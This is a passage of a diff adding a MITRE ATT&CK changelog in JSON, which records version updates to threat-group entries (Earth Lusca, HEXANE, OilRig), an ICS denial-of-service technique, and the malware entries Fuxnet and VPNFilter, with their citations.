"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "4.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 17:37:44.040000+00:00\", \"old_value\": \"2024-04-06 19:05:38.712000+00:00\"}, \"root['external_references'][21]['description']\": {\"new_value\": \"Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024.\", \"old_value\": \"Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020.\", \"new_path\": \"root['external_references'][22]['description']\"}, \"root['external_references'][21]['url']\": {\"new_value\": \"https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html\", \"old_value\": \"https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html\", \"new_path\": \"root['external_references'][22]['url']\"}, \"root['x_mitre_version']\": {\"new_value\": \"4.1\", \"old_value\": \"4.0\"}}, \"iterable_item_added\": {\"root['aliases'][10]\": \"APT44\", \"root['external_references'][6]\": {\"source_name\": \"APT44\", \"description\": \"(Citation: mandiant_apt44_unearthing_sandworm)\"}, \"root['external_references'][23]\": {\"source_name\": \"mandiant_apt44_unearthing_sandworm\", \"description\": \"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.\", \"url\": \"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf\"}, \"root['x_mitre_contributors'][1]\": \"Hakan KARABACAK\"}}", + "previous_version": "4.0", + "version_change": "4.0 \u2192 4.1" + } + ], + "other_version_changes": [], + "patches": [ + { + "type": "intrusion-set", + "id": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-07-01 20:12:30.184000+00:00", + "modified": "2024-09-16 16:18:00.876000+00:00", + "name": "Earth Lusca", + "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) is a suspected China-based cyber espionage group that has been active since at least April 2019. [Earth Lusca](https://attack.mitre.org/groups/G1006) has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some [Earth Lusca](https://attack.mitre.org/groups/G1006) operations may be financially motivated.(Citation: TrendMicro EarthLusca 2022)\n\n[Earth Lusca](https://attack.mitre.org/groups/G1006) has used malware commonly used by other Chinese threat groups, including [APT41](https://attack.mitre.org/groups/G0096) and the [Winnti Group](https://attack.mitre.org/groups/G0044) cluster, however security researchers assess [Earth Lusca](https://attack.mitre.org/groups/G1006)'s techniques and infrastructure are separate.(Citation: TrendMicro EarthLusca 2022)", + "aliases": [ + "Earth Lusca", + "TAG-22", + "Charcoal Typhoon", + "CHROMIUM", + "ControlX" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1006", + "external_id": "G1006" + }, + { + "source_name": "Charcoal Typhoon", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "ControlX", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "CHROMIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023) (Citation: Recorded Future RedHotel August 2023)" + }, + { + "source_name": "TAG-22", + "description": "(Citation: Recorded Future TAG-22 July 2021)" + }, + { + "source_name": "TrendMicro EarthLusca 2022", + "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", + "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf" + }, + { + "source_name": "Recorded Future TAG-22 July 2021", + "description": "INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan" + }, + { + "source_name": "Recorded Future RedHotel August 2023", + "description": "Insikt Group. (2023, August 8). RedHotel: A Prolific, Chinese State-Sponsored Group Operating at a Global Scale. Retrieved March 11, 2024.", + "url": "https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-16 16:18:00.876000+00:00\", \"old_value\": \"2024-04-10 21:38:24.226000+00:00\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024.\", \"old_value\": \"INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 2, 2022.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan\", \"old_value\": \"https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan\"}}}", + "previous_version": "2.0" + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "campaigns": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "assets": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "mitigations": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "datasources": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "datacomponents": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + } + }, + "ics-attack": { + "techniques": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [ + { + "type": "attack-pattern", + "id": "attack-pattern--1b22b676-9347-4c55-9a35-ef0dc653db5b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-05-21 17:43:26.506000+00:00", + "modified": "2024-10-14 19:00:55.006000+00:00", + "name": "Denial of Service", + "description": "Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. \n\nSome ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. (Citation: ICS-CERT April 2017) \n\nAdversaries may exploit a software vulnerability to cause a denial of service by taking advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a denial of service condition. \n\nAdversaries may have prior knowledge about industrial protocols or control devices used in the environment through [Remote System Information Discovery](https://attack.mitre.org/techniques/T0888). There are examples of adversaries remotely causing a [Device Restart/Shutdown](https://attack.mitre.org/techniques/T0816) by exploiting a vulnerability that induces uncontrolled resource consumption. (Citation: ICS-CERT August 2018) (Citation: Common Weakness Enumeration January 2019) (Citation: MITRE March 2018) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-ics-attack", + "phase_name": "inhibit-response-function" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T0814", + "external_id": "T0814" + }, + { + "source_name": "Common Weakness Enumeration January 2019", + "description": "Common Weakness Enumeration 2019, January 03 CWE-400: Uncontrolled Resource Consumption Retrieved. 2019/03/14 ", + "url": "http://cwe.mitre.org/data/definitions/400.html" + }, + { + "source_name": "ICS-CERT April 2017", + "description": "ICS-CERT 2017, April 18 CS Alert (ICS-ALERT-17-102-01A) BrickerBot Permanent Denial-of-Service Attack Retrieved. 2019/10/24 ", + "url": "https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A" + }, + { + "source_name": "ICS-CERT August 2018", + "description": "ICS-CERT 2018, August 27 Advisory (ICSA-15-202-01) - Siemens SIPROTEC Denial-of-Service Vulnerability Retrieved. 2019/03/14 ", + "url": "https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01" + }, + { + "source_name": "MITRE March 2018", + "description": "MITRE 2018, March 22 CVE-2015-5374 Retrieved. 2019/03/14 ", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5374" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow", + "Application Log: Application Log Content", + "Operational Databases: Process History/Live Data" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 19:00:55.006000+00:00\", \"old_value\": \"2023-10-13 17:56:59.992000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M0815: Watchdog Timers" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)", + "DS0040: Operational Databases (Process History/Live Data)" + ], + "new": [], + "dropped": [] + } + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "software": { + "additions": [ + { + "type": "malware", + "id": "malware--931e2489-8078-4f9f-85b2-a9211950e75b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-11 22:47:34.585000+00:00", + "modified": "2024-09-12 14:43:31.224000+00:00", + "name": "Fuxnet", + "description": "[Fuxnet](https://attack.mitre.org/software/S1157) is malware designed to impact the industrial network infrastructure managing control system sensors for utility operations in Moscow. [Fuxnet](https://attack.mitre.org/software/S1157) is linked to an entity referred to as the Blackjack hacking group, which is assessed to be linked to Ukrainian intelligence services.(Citation: Claroty Fuxnet 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1157", + "external_id": "S1157" + }, + { + "source_name": "Claroty Fuxnet 2024", + "description": "Team82. (2024, April 12). Unpacking the Blackjack Group's Fuxnet Malware. Retrieved September 11, 2024.", + "url": "https://claroty.com/team82/research/unpacking-the-blackjack-groups-fuxnet-malware" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Fuxnet" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Sharon Brizinov, Claroty Team82 Research" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Input/Output Server", + "Control Server" + ], + "x_mitre_version": "1.0" + } + ], + "major_version_changes": [ + { + "type": "malware", + "id": "malware--6108f800-10b8-4090-944e-be579f01263d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26 15:02:14.907000+00:00", + "modified": "2024-08-15 22:01:22.169000+00:00", + "name": "VPNFilter", + "description": "[VPNFilter](https://attack.mitre.org/software/S1010) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S1010) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019) [VPNFilter](https://attack.mitre.org/software/S1010) was assessed to be replaced by [Sandworm Team](https://attack.mitre.org/groups/G0034) with [Cyclops Blink](https://attack.mitre.org/software/S0687) starting in 2019.(Citation: NCSC CISA Cyclops Blink Advisory February 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1010", + "external_id": "S1010" + }, + { + "source_name": "Carl Hurd March 2019", + "description": "Carl Hurd 2019, March 26 VPNFilter Deep Dive Retrieved. 2019/03/28 ", + "url": "https://www.youtube.com/watch?v=yuZazP22rpI" + }, + { + "source_name": "NCSC CISA Cyclops Blink Advisory February 2022", + "description": "NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022.", + "url": "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter" + }, + { + "source_name": "William Largent June 2018", + "description": "William Largent 2018, June 06 VPNFilter Update - VPNFilter exploits endpoints, targets new devices Retrieved. 2019/03/28 ", + "url": "https://blog.talosintelligence.com/2018/06/vpnfilter-update.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "VPNFilter" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network", + "Linux" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_platforms']\": [\"Network\", \"Linux\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-15 22:01:22.169000+00:00\", \"old_value\": \"2024-03-07 18:57:15.800000+00:00\"}, \"root['description']\": {\"new_value\": \"[VPNFilter](https://attack.mitre.org/software/S1010) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S1010) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019) [VPNFilter](https://attack.mitre.org/software/S1010) was assessed to be replaced by [Sandworm Team](https://attack.mitre.org/groups/G0034) with [Cyclops Blink](https://attack.mitre.org/software/S0687) starting in 2019.(Citation: NCSC CISA Cyclops Blink Advisory February 2022)\", \"old_value\": \"[VPNFilter](https://attack.mitre.org/software/S1010) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S1010) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"NCSC CISA Cyclops Blink Advisory February 2022\", \"description\": \"NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022.\", \"url\": \"https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter\"}, \"root['x_mitre_domains'][1]\": \"enterprise-attack\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[VPNFilter](https://attack.mitre.org/software/S1010) is a mut1[VPNFilter](https://attack.mitre.org/software/S1010) is a mu
>lti-stage, modular platform with versatile capabilities to s>lti-stage, modular platform with versatile capabilities to s
>upport both intelligence-collection and destructive cyber at>upport both intelligence-collection and destructive cyber at
>tack operations. [VPNFilter](https://attack.mitre.org/softwa>tack operations. [VPNFilter](https://attack.mitre.org/softwa
>re/S1010) modules such as its packet sniffer ('ps') can coll>re/S1010) modules such as its packet sniffer ('ps') can coll
>ect traffic that passes through an infected device, allowing>ect traffic that passes through an infected device, allowing
> the theft of website credentials and monitoring of Modbus S> the theft of website credentials and monitoring of Modbus S
>CADA protocols. (Citation: William Largent June 2018) (Citat>CADA protocols. (Citation: William Largent June 2018) (Citat
>ion: Carl Hurd March 2019)>ion: Carl Hurd March 2019) [VPNFilter](https://attack.mitre.
 >org/software/S1010) was assessed to be replaced by [Sandworm
 > Team](https://attack.mitre.org/groups/G0034) with [Cyclops 
 >Blink](https://attack.mitre.org/software/S0687) starting in 
 >2019.(Citation: NCSC CISA Cyclops Blink Advisory February 20
 >22)
" + } + ], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "groups": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [ + { + "type": "intrusion-set", + "id": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2024-08-14 15:24:19.141000+00:00", + "name": "HEXANE", + "description": "[HEXANE](https://attack.mitre.org/groups/G1001) is a cyber espionage threat group that has targeted oil & gas, telecommunications, aviation, and internet service provider organizations since at least 2017. Targeted companies have been located in the Middle East and Africa, including Israel, Saudi Arabia, Kuwait, Morocco, and Tunisia. [HEXANE](https://attack.mitre.org/groups/G1001)'s TTPs appear similar to [APT33](https://attack.mitre.org/groups/G0064) and [OilRig](https://attack.mitre.org/groups/G0049) but due to differences in victims and tools it is tracked as a separate entity.(Citation: Dragos Hexane)(Citation: Kaspersky Lyceum October 2021)(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)", + "aliases": [ + "HEXANE", + "Lyceum", + "Siamesekitten", + "Spirlin" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1001", + "external_id": "G1001" + }, + { + "source_name": "Spirlin", + "description": "(Citation: Accenture Lyceum Targets November 2021)" + }, + { + "source_name": "Siamesekitten", + "description": "(Citation: ClearSky Siamesekitten August 2021)" + }, + { + "source_name": "Lyceum", + "description": "(Citation: SecureWorks August 2019)" + }, + { + "source_name": "Accenture Lyceum Targets November 2021", + "description": "Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022.", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns" + }, + { + "source_name": "ClearSky Siamesekitten August 2021", + "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022.", + "url": "https://www.clearskysec.com/siamesekitten/" + }, + { + "source_name": "Dragos Hexane", + "description": "Dragos. (n.d.). Hexane. Retrieved October 27, 2019.", + "url": "https://dragos.com/resource/hexane/" + }, + { + "source_name": "Kaspersky Lyceum October 2021", + "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.", + "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf" + }, + { + "source_name": "SecureWorks August 2019", + "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 ", + "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dragos Threat Intelligence", + "Mindaugas Gudzis, BT Security" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-14 15:24:19.141000+00:00\", \"old_value\": \"2024-02-09 19:27:00.371000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}}", + "previous_version": "2.2", + "version_change": "2.2 \u2192 2.3" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14 16:46:06.044000+00:00", + "modified": "2024-09-04 20:33:04.739000+00:00", + "name": "OilRig", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. The group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit42 OilRig Playbook 2023)(Citation: Unit 42 QUADAGENT July 2018)", + "aliases": [ + "OilRig", + "COBALT GYPSY", + "IRN2", + "APT34", + "Helix Kitten", + "Evasive Serpens", + "Hazel Sandstorm", + "EUROPIUM", + "ITG13" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0049", + "external_id": "G0049" + }, + { + "source_name": "IRN2", + "description": "(Citation: Crowdstrike Helix Kitten Nov 2018)" + }, + { + "source_name": "ITG13", + "description": "(Citation: IBM ZeroCleare Wiper December 2019)" + }, + { + "source_name": "Hazel Sandstorm", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "EUROPIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "OilRig", + "description": "(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)" + }, + { + "source_name": "COBALT GYPSY", + "description": "(Citation: Secureworks COBALT GYPSY Threat Profile)" + }, + { + "source_name": "Helix Kitten", + "description": "(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)" + }, + { + "source_name": "Evasive Serpens", + "description": "(Citation: Unit42 OilRig Playbook 2023)" + }, + { + "source_name": "Check Point APT34 April 2021", + "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.", + "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/" + }, + { + "source_name": "ClearSky OilRig Jan 2017", + "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.", + "url": "http://www.clearskysec.com/oilrig/" + }, + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "Palo Alto OilRig April 2017", + "description": "Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/" + }, + { + "source_name": "Palo Alto OilRig Oct 2016", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + }, + { + "source_name": "IBM ZeroCleare Wiper December 2019", + "description": "Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.", + "url": "https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "Secureworks COBALT GYPSY Threat Profile", + "description": "Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.", + "url": "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy" + }, + { + "source_name": "APT34", + "description": "This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.(Citation: Unit 42 QUADAGENT July 2018)(Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021)" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "Unit42 OilRig Playbook 2023", + "description": "Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.", + "url": "https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Robert Falcone", + "Bryan Lee", + "Dragos Threat Intelligence" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "4.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-04 20:33:04.739000+00:00\", \"old_value\": \"2024-04-11 16:06:34.698000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"4.1\", \"old_value\": \"4.0\"}}, \"iterable_item_added\": {\"root['aliases'][8]\": \"ITG13\", \"root['external_references'][2]\": {\"source_name\": \"ITG13\", \"description\": \"(Citation: IBM ZeroCleare Wiper December 2019)\"}, \"root['external_references'][14]\": {\"source_name\": \"IBM ZeroCleare Wiper December 2019\", \"description\": \"Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.\", \"url\": \"https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/\"}}}", + "previous_version": "4.0", + "version_change": "4.0 \u2192 4.1" + }, + { + "type": "intrusion-set", + "id": 